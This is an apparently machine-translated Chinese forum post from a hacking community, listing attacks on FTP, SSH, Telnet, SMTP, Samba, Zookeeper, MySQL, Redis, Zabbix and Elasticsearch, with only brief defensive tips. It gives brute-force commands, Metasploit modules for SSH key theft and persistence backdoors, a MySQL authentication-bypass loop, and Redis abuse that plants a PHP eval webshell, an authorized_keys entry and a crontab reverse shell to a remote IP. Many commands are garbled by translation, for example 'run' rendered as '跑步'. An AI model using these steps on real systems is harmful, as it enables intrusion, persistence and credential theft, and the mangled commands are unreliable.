H

常见服务类漏洞

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

常见服务类漏洞​

FTP 漏洞​

FTP 协议介绍​

FTP(文件传输协议)是TCP/IP协议组中的协议之一。 FTP协议包括两个组件,一个是FTP服务器,另一个是FTP客户端。其中,FTP服务器用于存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。开发网站时,FTP协议通常用于将网页或程序传递给Web服务器。此外,由于FTP传输效率很高,因此在网络上传输大文件时通常使用此协议。
默认情况下,FTP协议在TCP端口中使用两个端口20和21,使用20用于传输数据,21用于传输控制信息。但是,是否使用20作为传输数据的端口与FTP使用的传输模式有关。如果使用活动模式,则数据传输端口为20;如果使用被动模式,则需要由服务器和客户端协商和确定末端的特定端口。

Banner 信息​

横幅信息揭示了在远程系统上运行的任何软件或服务中的漏洞,因此安装任何服务后需要隐藏其软件版本。

匿名登录 anonymous login​

msf​

1
扫描仪/FTP/匿名模块

中间人嗅探​

攻击者可以使用嗅探工具来帮助他们在网络中的服务器和客户端之间传输的嗅探数据包并检索凭据称为嗅探,然后将其用于未经授权的访问。如上所述,FTP用户可以使用用户名和密码的明文登录协议来验证自己。

FTP 暴力破解工具​

hydra​

1
HYDRA -V -L user.txt -p Pass.txt ftp: //IP

MSF​

1
辅助/扫描仪/ftp/ftp_login

vsftpd 笑脸漏洞​

版本:VSFTP 2.3.4
后门:
如果用户名包含:)您可以启用绑定到端口6200的后门外壳
20200509155756.png-water_print

防御​

修改配置上的横幅信息
添加SSL证书(ssl_enable=yes)
白名单限制登录
iptables设置登录和登录线程的数量

SSH 漏洞​

SSH 简介​

SSH是由IETF网络工作组制定的安全壳的缩写; SSH是基于应用程序层的安全协议。 SSH是一个更可靠的协议,专为远程登录会话和其他网络服务而设计。使用SSH协议可以有效防止在远程管理过程中信息泄漏。 SSH最初是UNIX系统上的一个程序,但后来它很快扩展到其他操作平台。正确使用后,SSH可以补偿网络中的漏洞。 SSH客户端适合各种平台。几乎所有Unix平台(包括HP-UX,Linux,AIX,Solaris,Digital Unix,Irix等)都可以运行SSH。

端口扫描​

nmap​

1
NMAP -SV -P 22 IP

msf​

1
辅助/扫描仪/ssh/ssh_version

密码破解​

msf​

1
2
使用辅助/扫描仪/ssh/ssh_login
设置stop_on_success true

SSH 用户代码执行​

msf​

1
使用漏洞/多/ssh/sshexec

使用 RSA 密钥建立 SSH 连接​

配置:
1
2
3
4
5
6
7
8
ssh-keygen
cd/home/kali/.ssh
LS
CAT ID_RSA.PUB授权_Keys
scp msfadmin@ip:/home/msfadmin/.ssh/id_rsa ./
sudo vim/etc/ssh/sshd_config
passwordAuthentication编号
sudo /etc/init.d/ssh restart
连接:
1
ssh -i id_rsa用户名@ip

窃取 SSH 密钥​

获得了MeterPreter会话,窃取SSH钥匙
1
2
3
4
使用辅助/扫描仪/ssh/ssh_login获取会话
使用POST/MULTI/CATHIC/SSH_CREDS
设置会话1
跑步

SSH 密钥持久性后门​

获得了MeterPreter会话,留下了SSH钥匙持久性后门
1
2
3
4
使用辅助/扫描仪/ssh/ssh_login获取会话
使用Post/Linux/Manager/sshkey_persistence
设置会话1
跑步

防御​

修改默认端口​

1
2
3
sudo vim/etc/ssh/sshd_config
港口22222
sudo /etc/init.d/ssh restart

Telnet 漏洞​

telnet 简介​

Telnet协议是TCP/IP协议家族的成员,是Internet远程登录服务的标准协议和主要方法。它为用户提供了在本地计算机上完成远程主机工作的能力。使用终端用户计算机上的telnet程序,并使用它连接到服务器。终端用户可以在服务器上直接在服务器控制台上输入的Telnet程序中输入命令。可以在本地控制服务器。要启动Telnet会话,您必须输入用户名和密码才能登录服务器。 Telnet是一种远程控制Web服务器的常用方法。

banner 信息​

/etc/issue.net
MSF
使用辅助/扫描仪/telnet/telnet_version

修改默认端口​

/etc /服务
sudo /etc/init.d/xinetd restart

通过嗅探窃取凭据​

纯文本传输,可以嗅探
20200510144359.png-water_print

暴力破解​

hydra​

1
HYDRA -V -L user.txt -p Pass.txt telnet: //IP

msf​

1
2
3
4
5
6
使用辅助/扫描仪/telnet/telnet_login
设置Rhost
设置stop_on_success true
设置user_file user.txt
SET pass_file pass.txt
跑步

保护 telnet 免受暴力攻击​

将允许流量从IP地址访问端口23 192.168.1.1
1
sudo iptables -a输入-s 192.168.1.1 -p tcp -dport 23 -J接受
从端口23上的其他IP地址下降流量
1
sudo iptables -A输入-P TCP -DPORT 23 -J DROP

SMTP 漏洞​

SMTP 简介​

SMTP是一项协议,可提供可靠,高效的电子邮件传输。 SMTP是在FTP文件传输服务上构建的邮件服务。它主要用于在系统之间提供邮件信息,并提供有关字母的通知。 SMTP独立于特定的传输子系统,仅需要可靠和有序的数据流渠道。 SMTP的重要功能之一是它可以通过网络传输邮件的能力,即SMTP邮件中继。使用SMTP,可以实现同一网络中处理过程之间的邮件传输,也可以通过中继器或网关实现处理过程和其他网络之间的邮件传输。

SMTP 命令和返回码​

邮件
指定发送方地址
rcpt
指定一个电子邮件收件人:可能有多个RCPT TOS;经常在命令发出邮件之后
vrfy
用于指定用户/电子邮件框是否存在;由于安全原因,服务器通常禁止此命令
expn
验证给定的邮箱列表存在并经常被禁用
返回代码
250:需要完成电子邮件操作
500:要求未完成电子邮件操作,并且电子邮件地址不可用(例如,找不到电子邮件地址,或者无法访问)

Postfix 简介​

Postfix是Ubuntu的默认邮件传输代理(MTA)

SMTP 用户枚举​

Ubuntu系统用户是后缀用户
telnet
smtp-user-enum
MSF

手动枚举 SMTP 用户​

telnet
非常FTP
20200510151810.png-water_print

:FTP + RCPT的邮件至:FTP
20200510152040.png-water_print

SMTP-user-enum​

1
2
3
4
5
APT-GET安装SMTP-用户- eNUM
smtp -user -enum -m vrfy -u root -t 202.38.xxx.xxx
smtp -user -enum -m vrfy -u dic.txt -t 202.38.xxx.xxx
smtp -user -enum -m rcpt -u bin -t 202.38.xxx.xxx
smtp -user -enum -m expn -u bin -t 202.38.xxx.xxx

msf​

1
辅助/扫描仪/smtp/smtp_enum

暴力破解​

hydra​

1
HYDRA -L MSFADMIN -P PASSWD.TXT SMTP: //IP

Samba 漏洞​

Samba 简介​

SAMBA是一个免费软件,可在Linux和Unix系统上实现SMB协议,由服务器和客户端程序组成。

SMB 简介​

SMB(服务器消息块)是用于在局部网络上共享文件和打印机的通信协议。它为当地网络中的不同计算机提供共享服务,以提供文件,打印机和其他资源。
SMB协议是客户/服务器协议,客户端可以通过该协议访问服务器上共享的文件系统,打印机和其他资源。通过通过TCP/IP设置NetBios,Samba不仅可以与本地网络主机共享资源,而且可以与全球计算机共享资源。

SMB 信息泄露​

msf​

1
辅助/扫描仪/smb/smb_version

nmap​

1
2
NMAP -SV -P 445 IP
nmap -sv -v -p -p 445 -script=smb -vuln*

nmblookup​

NMBlookup用于查询NetBios名称,并使用基于TCP/IP的NetBios查询将其映射到网络中的IP地址。这些选项允许将名称查询引向特定的IP广播区域或特定机器。所有查询均通过UDP完成。
nmblookup是枚举域/工作站和MAC地址的有用命令
1
nmblookup -A 192.168.1.139

nbtscan​

扫描NetBios在本地或远程TCP/IP网络上打开的名称服务器,因为这是查找开放共享的第一步
可以在整个子网中工作,而不是单个IP上的
1
NBTSCAN 192.168.1.1/24

SMBMap​

SMBMAP允许用户列举samba在整个域中共享驱动器。列表共享驱动器,驱动器权限,共享内容,上传/下载功能,文件名称的自动下载模式匹配,甚至执行远程命令。旨在简化大型网络中潜在敏感数据的搜索。
1
2
SMBMAP -H 192.168.1.139
SMBMAP -H 192.168.1.139 -U MSFADMIN -P MSFADMIN

暴力破解​

hydra​

1
hydra -l user.txt -p pass.txt -v smb: //ip

命令执行​

1
2
搜索SMB 3.0.20
使用exploit/multi/samba/usermap_script

Zookeeper​

Zookeeper 简介​

Zookeeper是一个分布式服务框架和Apache Hadoop的子项目。它主要用于解决分布式应用程序中经常遇到的一些数据管理问题,例如:统一命名服务,状态同步服务,群集管理和分布式应用程序配置项目的管理。

环境搭建​

1
2
3
4
WGET https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.14.tar.gz
TAR -XZVF ZOOKEEPER -3.4.14.tar.gz
MV Zoo_sample.cfg Zoo.cfg
./zkserver.sh开始

未授权访问​

Zookeeper默认没有设置密码。没有任何访问控制,攻击者可以通过执行ENV命令(包括系统名称和Java环境)从系统中获得大量敏感信息。
Zookeeper的默认端口已在端口2181上启用
1
2
Netstat -An | Grep 2181
NMAP -SV -P 2181 IP
1
NC IP 2181
envi
打印有关服务环境的详细信息
统计
列出有关性能和连接客户的统计数据
鲁克
测试服务器是否在非错误状态下运行
reqs
列出未完成的请求
倾倒
列出未完成的会话和临时节点
图形接口工具:
动物园

Mysql 漏洞​

Mysql 简介​

MySQL数据库是世界上使用最广泛的数据库之一。许多著名公司和网站都使用MySQL作为数据库支持。
当前,许多架构使用MySQL作为数据库管理系统,例如LAMP,WAMP等。

Mysql 信息收集​

版本信息​

1
2
3
4
NMAP:
NMAP -SV -P 3306 IP
MSF:
使用辅助/扫描仪/mysql/mysql_version

其它相关信息​

1
使用辅助/admin/mysql/mysql_enum

Mysql 密码破解​

hydra​

1
hydra -l user.txt -p password.txt -v mysql: //ip

msf​

1
使用辅助/扫描仪/mysql/mysql_login

Mysql 漏洞利用​

MySQL 身份认证漏洞(CVE-2012-2122)​

memcmp()的返回值在[127,-128]之内。按字符比较两个字符串。如果您发现另一个角色,请减去两个字符并返回
当memcmp()返回0时,check_scramble()通过身份验证
20200512142357.png-water_print

漏洞利用​

MSF:
1
使用辅助/扫描仪/mysql/mysql_authbypass_hashdump
Linux Shell:
1
对于i在seq 1 1000;做mySQL -UROOT -PWRONG -H ip -p3306;完成

Redis​

redis 简介​

REDIS是人们经常称呼的非关系数据库之一。它是用ANSI语言编写的开源日志类型和键值数据库,支持基于网络的和持久的日志类型和键值数据库,并提供多种语言的API。
Redis就像备忘录。为了确保效率,将数据缓存在内存中。但是,REDIS会定期将更新的数据写入磁盘或将修改操作写入附录文件,并在此基础上实现Master-Slave(Master-Slave)同步。

redis 未授权访问漏洞​

默认配置是使用端口6379,并且没有密码。这将导致未经授权访问读写重新读数据。

在 web 目录下写入 Webshell​

1
2
3
4
config set dir/var/www/html
配置设置dbfilename webshell.php
设置webshell'?php phpinfo();'
节省
20200512150346.png-water_print

当数据库太大时,Redis写外壳的提示:
1
2
3
4
5
6
php
set_time_limit(0);
$ fp=fopen('webshell.php','w');
fwrite($ fp,'?php @eval($ _ post [1]);');
出口();

写 ssh 公钥​

1
2
3
4
5
6
7
ssh -keygen -t rsa
CD .ssh
(echo -e'\ n \ n'; cat id_rsa.pub; echo -e'\ n \ n')1.txt
CAT 1.TXT | REDIS -CLI -H IP -X设置有效载荷
config set dir /root/.ssh
config set dbfilename授权_keys
节省

写 crontab​

1
2
3
4
5
REDIS -CLI -H 192.168.0.104
设置XXX'\ n \ n */1 * * * * */bin/bash -i/dev/tcp/192.168.0.104/4444 01 \ n \ n \ n'
配置集dir/var/spool/cron
config set dbfilename root
节省

利用 redis 主从复制 rce​

Zabbix 漏洞​

Zabbix 简介​

Zabbix是基于ServerClient架构的Alexei Vladishev开发的网络监视和管理系统。可用于监视各种网络服务,服务器,网络计算机等的状态。
使用各种数据库端子,例如MySQL,PostgreSQL,SQLite,Oracle IBM DB2来存储数据。服务器端基于C语言,Web Management Side Frontend基于PHP。 Zabbix可以通过多种方式进行监控。您可以在不安装客户端的情况下使用简单的检查,也可以根据各种SMTP或HTTP协议进行监视。
在Unix,Windows等客户端安装Zabbix代理后,您可以监视CPU加载,网络使用状态,硬盘容量和其他状态。即使未在监视对象中安装代理,Zabbix也可以通过SNMP,TCP,IMP,PMI,SSH和TELNET监视目标。
此外,Zabbix还包括各种项目警报功能,例如XMPP

Zabbix SQL 注入漏洞​

Zabbix 命令执行利用​

在Zabbix的安装和配置期间,管理员使用弱密码或默认用户名和密码。例如:admin/zabbix,这样,zabbix服务器的用户身份验证是没有用的。攻击者可以创建System.run [命令,]监视项目以执行命令,甚至获得服务器外壳以执行各种采矿活动。

Elasticsearch 漏洞​

Elasticsearch 简介​

Elasticsearch是一种分布式,高标准,高实时搜索和数据分析引擎。它可以轻松地允许大量数据进行搜索,分析和探索。充分利用Elasticsearch的水平可扩展性可以使数据在生产环境中更有价值。
Elasticsearch的实施原则主要分为以下步骤。首先,用户将数据提交到Elasticsearch数据库,然后使用单词分割控制器将相应的语句和单词分割存储在数据中。当用户搜索数据时,他或她将对结果进行排名并根据权重评分结果,然后将返回的结果呈现给用户。
ela
 
后退
顶部